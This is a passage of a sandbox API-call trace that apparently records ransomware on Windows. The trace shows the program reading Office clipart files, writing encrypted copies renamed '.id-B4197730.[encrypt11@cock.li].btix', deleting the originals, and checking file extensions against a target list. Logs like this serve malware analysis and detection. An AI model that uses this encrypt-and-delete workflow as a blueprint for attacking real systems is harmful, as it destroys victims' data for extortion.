lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=15760) returned 1 [0148.870] CloseHandle (hObject=0x374) returned 1 [0148.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0148.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.870] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.870] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.870] GetLastError () returned 0x0 [0148.870] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3d90, lpOverlapped=0x0) returned 1 [0148.871] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3da0, lpOverlapped=0x0) returned 1 [0148.873] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.873] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.873] SetEndOfFile (hFile=0x378) returned 1 [0148.873] CloseHandle (hObject=0x378) returned 1 [0148.873] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.873] SetEndOfFile (hFile=0x374) returned 1 [0148.874] CloseHandle (hObject=0x374) returned 1 [0148.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.875] lstrlenW (lpString=".doc") returned 4 [0148.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.875] lstrlenW (lpString=".docx") returned 5 [0148.875] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.875] lstrlenW (lpString=".pdf") returned 4 [0148.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.875] lstrlenW (lpString=".xls") returned 4 [0148.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.875] lstrlenW (lpString=".xlsx") returned 5 [0148.875] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.875] lstrlenW (lpString=".ppt") returned 4 [0148.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.875] lstrlenW (lpString=".zip") returned 4 [0148.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.875] lstrlenW (lpString=".rar") returned 4 [0148.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.875] lstrlenW (lpString=".bz2") returned 4 [0148.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.875] lstrlenW (lpString=".7z") returned 3 [0148.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.875] lstrlenW (lpString=".dbf") returned 4 [0148.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.875] lstrlenW (lpString=".1cd") returned 4 [0148.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.875] lstrlenW (lpString=".jpg") returned 4 [0148.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.876] lstrlenW (lpString=".doc") returned 4 [0148.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString=".docx") returned 5 [0148.876] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.876] lstrlenW (lpString=".pdf") returned 4 [0148.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString=".xls") returned 4 [0148.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.876] lstrlenW (lpString=".xlsx") returned 5 [0148.876] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.876] lstrlenW (lpString=".ppt") returned 4 [0148.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.876] lstrlenW (lpString=".zip") returned 4 [0148.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.876] lstrlenW (lpString=".rar") returned 4 [0148.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString=".bz2") returned 4 [0148.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString=".7z") returned 3 [0148.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.876] lstrlenW (lpString=".dbf") returned 4 [0148.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.876] lstrlenW (lpString=".1cd") returned 4 [0148.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0148.876] lstrlenW (lpString=".jpg") returned 4 [0148.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.877] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.877] lstrlenW (lpString="J0090149.WMF") returned 12 [0148.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.877] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=28212) returned 1 [0148.877] CloseHandle (hObject=0x374) returned 1 [0148.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0148.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.877] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.877] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.878] GetLastError () returned 0x0 [0148.878] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x6e34, lpOverlapped=0x0) returned 1 [0149.219] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x6e40, lpOverlapped=0x0) returned 1 [0149.220] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.220] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.221] SetEndOfFile (hFile=0x378) returned 1 [0149.221] CloseHandle (hObject=0x378) returned 1 [0149.221] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.221] SetEndOfFile (hFile=0x374) returned 1 [0149.222] CloseHandle (hObject=0x374) returned 1 [0149.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0149.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.222] lstrlenW (lpString=".doc") returned 4 [0149.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.222] lstrlenW (lpString=".docx") returned 5 [0149.222] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.222] lstrlenW (lpString=".pdf") returned 4 [0149.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.222] lstrlenW (lpString=".xls") returned 4 [0149.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.222] lstrlenW (lpString=".xlsx") returned 5 [0149.223] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.223] lstrlenW (lpString=".ppt") returned 4 [0149.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.223] lstrlenW (lpString=".zip") returned 4 [0149.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.223] lstrlenW (lpString=".rar") returned 4 [0149.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString=".bz2") returned 4 [0149.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString=".7z") returned 3 [0149.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.223] lstrlenW (lpString=".dbf") returned 4 [0149.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.223] lstrlenW (lpString=".1cd") returned 4 [0149.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.223] lstrlenW (lpString=".jpg") returned 4 [0149.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.223] lstrlenW (lpString=".doc") returned 4 [0149.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString=".docx") returned 5 [0149.223] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.223] lstrlenW (lpString=".pdf") returned 4 [0149.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.223] lstrlenW (lpString=".xls") returned 4 [0149.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.224] lstrlenW (lpString=".xlsx") returned 5 [0149.224] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.224] lstrlenW (lpString=".ppt") returned 4 [0149.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.224] lstrlenW (lpString=".zip") returned 4 [0149.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.224] lstrlenW (lpString=".rar") returned 4 [0149.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.224] lstrlenW (lpString=".bz2") returned 4 [0149.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.224] lstrlenW (lpString=".7z") returned 3 [0149.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.224] lstrlenW (lpString=".dbf") returned 4 [0149.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.224] lstrlenW (lpString=".1cd") returned 4 [0149.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0149.224] lstrlenW (lpString=".jpg") returned 4 [0149.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.225] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.225] lstrlenW (lpString="J0099152.JPG") returned 12 [0149.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.225] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=11694) returned 1 [0149.225] CloseHandle (hObject=0x374) returned 1 [0149.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0149.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.225] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.225] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.226] GetLastError () returned 0x0 [0149.226] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2dae, lpOverlapped=0x0) returned 1 [0149.227] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2db0, lpOverlapped=0x0) returned 1 [0149.228] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.228] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.228] SetEndOfFile (hFile=0x378) returned 1 [0149.228] CloseHandle (hObject=0x378) returned 1 [0149.228] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.228] SetEndOfFile (hFile=0x374) returned 1 [0149.229] CloseHandle (hObject=0x374) returned 1 [0149.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0149.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.229] lstrlenW (lpString=".doc") returned 4 [0149.229] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.229] lstrlenW (lpString=".docx") returned 5 [0149.229] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0149.229] lstrlenW (lpString=".pdf") returned 4 [0149.230] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.230] lstrlenW (lpString=".xls") returned 4 [0149.230] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.230] lstrlenW (lpString=".xlsx") returned 5 [0149.230] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0149.230] lstrlenW (lpString=".ppt") returned 4 [0149.230] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.230] lstrlenW (lpString=".zip") returned 4 [0149.230] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.230] lstrlenW (lpString=".rar") returned 4 [0149.230] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.230] lstrlenW (lpString=".bz2") returned 4 [0149.230] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.230] lstrlenW (lpString=".7z") returned 3 [0149.230] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.230] lstrlenW (lpString=".dbf") returned 4 [0149.230] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.230] lstrlenW (lpString=".1cd") returned 4 [0149.230] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.230] lstrlenW (lpString=".jpg") returned 4 [0149.230] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.230] lstrlenW (lpString=".doc") returned 4 [0149.230] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.230] lstrlenW (lpString=".docx") returned 5 [0149.231] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0149.231] lstrlenW (lpString=".pdf") returned 4 [0149.231] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.231] lstrlenW (lpString=".xls") returned 4 [0149.231] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.231] lstrlenW (lpString=".xlsx") returned 5 [0149.231] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0149.231] lstrlenW (lpString=".ppt") returned 4 [0149.231] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.231] lstrlenW (lpString=".zip") returned 4 [0149.231] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.231] lstrlenW (lpString=".rar") returned 4 [0149.231] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.231] lstrlenW (lpString=".bz2") returned 4 [0149.231] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.231] lstrlenW (lpString=".7z") returned 3 [0149.231] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.231] lstrlenW (lpString=".dbf") returned 4 [0149.231] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.231] lstrlenW (lpString=".1cd") returned 4 [0149.231] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0149.231] lstrlenW (lpString=".jpg") returned 4 [0149.231] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.232] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.232] lstrlenW (lpString="J0099153.WMF") returned 12 [0149.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.232] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=13874) returned 1 [0149.232] CloseHandle (hObject=0x374) returned 1 [0149.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0149.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.232] 